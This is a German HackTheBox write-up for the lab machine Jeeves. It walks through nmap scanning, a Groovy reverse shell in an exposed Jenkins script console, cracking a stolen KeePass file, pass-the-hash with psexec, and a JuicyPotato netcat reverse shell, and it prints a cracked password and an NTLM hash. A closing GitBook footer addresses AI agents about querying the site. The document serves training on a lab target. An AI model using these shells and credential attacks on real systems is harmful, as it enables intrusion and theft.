> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Jeeves HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Jenkins-Ausnutzung (Groovy Script Console)
* KeePass knacken
* Pass-the-Hash (Psexec)
* RottenPotato (SeImpersonatePrivilege)
* Alternative Datenströme (ADS)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Wir richten unseren Arbeitsbereich ein, indem wir drei Ordner erstellen, um wichtige Inhalte, Exploits und Reconnaissance-Ergebnisse mit Nmap zu speichern

<figure><img src="/files/4b147eb5f471333d687c4eb4a3389924374b15dd" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/524b1677e897b5267c22fd3a0dbd0e9692f5c2e9" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts
```

<figure><img src="/files/23abd8bde3252acc047045d8465500f8d9ef1966" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Mit der Funktion extractPorts die offenen Ports in kompakter Form anzeigen und sie in die Zwischenablage kopieren (80.135.445.50000)

<figure><img src="/files/76807d0faf540f124a996173ec85e97e1fb3bccd" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted
```

<figure><img src="/files/e50773fe6aa00c0a7e30ea733383d2db7752af6e" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/0ea137f94455a45b4edc547b641ad24d015a1346" alt=""><figcaption></figcaption></figure>

Der HTTP-Port leitet ständig zu einer `error.html` Seite weiter. Es wurden keine weiteren verwertbaren Informationen gefunden.

<figure><img src="/files/9afdfaa60ecc75725dd83f2204228a43777a36b1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/381f1e2de7af370429744d7300a6694c672451b3" alt=""><figcaption></figcaption></figure>

### Port 445 - SMB

Wir versuchen, SMB-Freigaben aufzulisten mit `smbmap` und `smbclient`:

```bash
smbmap -H 10.10.10.63 -u 'null'
smbmap -H 10.10.10.63
```

```bash
smbclient -L 10.10.10.63 -N
```

Allerdings schlägt die Sitzung mit folgendem Fehler fehl:

```
session setup failed: NT_STATUS_ACCESS_DENIED
```

Wir verwenden `crackmapexec` um Maschineninformationen zu sammeln:

```bash
crackmapexec smb 10.10.10.63
```

Ergebnis:

* **OS** : Windows 10 Pro 10586 x64
* **Maschinenname**: JEEVES
* **Domäne**: Jeeves

<figure><img src="/files/c4c9f2e38bc5c5b34ffd5cf53200910f0d88b9e6" alt=""><figcaption></figcaption></figure>

### **Port 50000 - Jenkins**

<figure><img src="/files/3c9926bc23a960b2982cd8179a77b00e21795595" alt=""><figcaption></figcaption></figure>

Wir starten mit `gobuster` einen Verzeichnisscan, um den Inhalt des HTTP-Dienstes zu erkunden:

```bash
gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

Wir entdecken das Verzeichnis **/askjeeves**

<figure><img src="/files/5458203f2b18a9c62173d4ca7b866ada36946959" alt=""><figcaption></figcaption></figure>

### CMS - Jenkins

<figure><img src="/files/ed0a314711240c3d477a9d0420018e2b954d5600" alt=""><figcaption></figcaption></figure>

**Jenkins - Groovy-Skriptausführung**

Das CMS Jenkins ist erreichbar und die **Script Console** Option ist aktiviert, sodass wir Groovy-Skripte ausführen können.

<figure><img src="/files/328649672d7c4e2d38ec76a9576abc14b27c5fa3" alt=""><figcaption></figcaption></figure>

Beispielbefehl zum Testen der Ausführung:

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/e9521fc36bf47e3b0d926816f76afb4a6df1d26a" alt=""><figcaption></figcaption></figure>

### **Ausnutzung**

#### **Reverse Shell über die Groovy Script Console**

Um Fernzugriff zu erhalten, gehen wir wie folgt vor:

1. /*/* Unseren Rechner auf Port 443 abhören/*/*:

```bash
rlwrap nc -nvlp 443
```

2. /*/* Führen Sie das folgende Skript in der Groovy/*/* Konsole aus, um eine Reverse Shell einzurichten:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/1c891f85522c59ae8bda843f614554b448221735" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/9c53e6fa186d4b7b0e4b09de73065c3fcd90bc83" alt=""><figcaption></figcaption></figure>

## **Privilegieneskalation**

## **Methode 1: KeePass-Datei knacken**

In dem **Dokumente** Verzeichnis des Benutzers **Kosure**, finden wir eine Datei mit der **.kdbx** Erweiterung (KeePass-Datei).

<figure><img src="/files/51342001e160a1e60c051ed2f63674fb4d55f94f" alt=""><figcaption></figcaption></figure>

/*/* Übertragung der KeePass-Datei auf unser Host-System/*/*/ Wir erstellen einen SMB-Server auf unserem Linux-Rechner, um die Datei zu übertragen. Dazu verwenden wir `smbserver.py`:

```bash
smbserver.py share $(pwd) -smb2support
```

**Übertragung von Windows**/ Vom Windows-Rechner kopieren wir die **CEH.kdbx** Datei auf unseren Host-Rechner:

```powershell
copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/
```

<figure><img src="/files/955dbb8c3a901b53b14bbb4a2c00cd4be14dbcaa" alt=""><figcaption></figcaption></figure>

### **KDBX-Datei-Hash extrahieren**

Um den Hash aus der **KDBX** Datei zu extrahieren, verwenden wir das **keepass2john** Tool, das Teil von **John the Ripper**:

```bash
keepass2john CEH.kdbx
```

<figure><img src="/files/0f29c53af84391a08edec9077c6b670f31da658c" alt=""><figcaption></figcaption></figure>

### **Hash-Knacken**

Wir verwenden **John the Ripper** um einen Brute-Force-Angriff auf den extrahierten Hash durchzuführen, mit der **rockyou-Passwortliste. txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Das entdeckte Passwort lautet:

* `moonshine1`

<figure><img src="/files/bb9019b2a76215c7df6e8a6a9bf2981936c0c31e" alt=""><figcaption></figcaption></figure>

### **Visualisierung des KeePass-Inhalts**

Wir verwenden **KeepassXC** um den Inhalt von **KeePass**

<figure><img src="/files/851a7e3e618ed8639604876563263bfc94fceec9" alt=""><figcaption></figcaption></figure>

Nachdem wir das **moonshine1** Passwort eingegeben haben, erhalten wir Zugriff auf mehrere Passwörter, einschließlich eines NTLM-v2-Hashes für den Benutzer **Administrator**:

<figure><img src="/files/851a7e3e618ed8639604876563263bfc94fceec9" alt=""><figcaption></figcaption></figure>

```bash
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
```

#### /*/* Prüfung des NTLM-v2-Hashes mit CrackMapExec/*/*

Wir prüfen, ob der Hash zu einem Konto gehört **Administrator** durch **CrackMapExec**:

```bash
crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00'
```

Der Hash ist gültig, und wir können nun einen Angriff durchführen **Pass-the-Hash**.

<div data-full-width="true"><figure><img src="/files/55aa10b558d4def44af9d8bdfdcde765f4847464" alt=""><figcaption></figcaption></figure></div>

### **Pass-the-Hash - PsExec**

Wir verwenden **PsExec** um uns mit dem entdeckten NTLM-v2 mit dem Zielsystem zu verbinden. Dadurch erhalten wir administrative Rechte

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

Wir haben nun vollen Zugriff als Administrator.

<figure><img src="/files/d8443c0232dea610758c29c7bcc8b5e59c505fb6" alt=""><figcaption></figcaption></figure>

## **Methode 2: Ausnutzung der SeImpersonatePrivilege-Berechtigung**

Wir haben festgestellt, dass der Benutzer die `SeImpersonatePrivilege` Berechtigung hat, wodurch er für bestimmte Techniken zur Privilegienerweiterung anfällig ist. Der folgende Befehl bestätigt das Vorhandensein dieser Berechtigung:

```bash
whoami /priv
```

<figure><img src="/files/63865693374e850fa95cebcfc9b25a096d481045" alt=""><figcaption></figcaption></figure>

Um diese Schwachstelle auszunutzen, verwenden wir **JuicyPotato**, ein bekanntes Tool, um diese Berechtigung im Windows-Kontext auszunutzen.

**Erforderliche Tools herunterladen**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**Einen SmbFolder starten** Server auf unserer Angriffsmaschine, um die Dateien bereitzustellen:

```bash
smbserver.py share $(pwd) -smb2support
```

**Dateien auf das Zielsystem übertragen** mit `Invoke-WebRequest`:

<pre class="language-powershell"><code class="lang-powershell"><strong>copy //10.10.14.9/share/JP.exe
</strong>copy //10.10.14.9/share/nc64.exe
</code></pre>

<figure><img src="/files/201b31faf8d951bb097c046122d806d95f2b2b6f" alt=""><figcaption></figcaption></figure>

**Ausführung von JuicyPotato zur Privilegienerweiterung**

Wir führen nun JuicyPotato aus, um eine privilegierte Sitzung zu erhalten. Der folgende Befehl startet JuicyPotato, das `cmd.exe` mit hohen Rechten ausführt und eine Verbindung zu unserer Angriffsmaschine über Netcat initiiert:

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234"
```

**Anmeldung in hoher Sitzung**

Um die Verbindung abzufangen, lauschen wir auf Port 1234:

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="/files/b9b24eb8050d0c93caa9f4c2f709c7b5b1c78014" alt=""><figcaption></figcaption></figure>

## Root-Flag - ADS

> Alternative Datenströme (ADS) sind eine Funktion von **NTFS** Dateisystemen unter Windows, die es ermöglicht, mehrere Datenströme mit einer einzelnen Datei zu verknüpfen. Diese zusätzlichen Streams können versteckte Informationen enthalten, die bei der herkömmlichen Dateiprüfung nicht sichtbar sind. Wir werden diese Funktion nutzen, um die **Root-Flag**.

<figure><img src="/files/e4ace2e4f1768cabff28ad2c591c30f5de9f2b01" alt=""><figcaption></figcaption></figure>

#### **1. Prüfung auf Alternative Data Streams (ADS)**

Wir beginnen damit zu prüfen, ob die **hm.txt** Datei auf dem Desktop des Benutzers **Administrator** alternative Datenströme enthält. Dazu verwenden wir folgenden Befehl:

```bash
dir /r C:/Users/Administrator/Desktop/hm.txt
```

Dieser Befehl listet alle alternativen Datenströme auf, die mit **hm.txt** Datei verknüpft sind. Wenn ein alternativer Datenstrom vorhanden ist, wird er angezeigt.

<figure><img src="/files/6a2cf4e39ae8d85325594f91fed200430ecd72a0" alt=""><figcaption></figcaption></figure>

#### **2. Inhalt eines alternativen Datenstroms anzeigen**

Wenn wir einen alternativen Datenstrom finden, der mit der Datei verbunden ist, können wir seinen Inhalt mit dem folgenden Befehl anzeigen:

```powershell
more < C:/Users/Administrator/Desktop/hm.txt:root.txt
```

Dies ermöglicht es uns, den Inhalt des **root.txt** Streams zu lesen und das **Root-Flag :) wiederherzustellen**

<figure><img src="/files/148a51bbb1edba23a7251b1eeaac4b2f89ab4662" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a619dfea53187f5c0bdb9355fba1c6135ed7fcf1" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
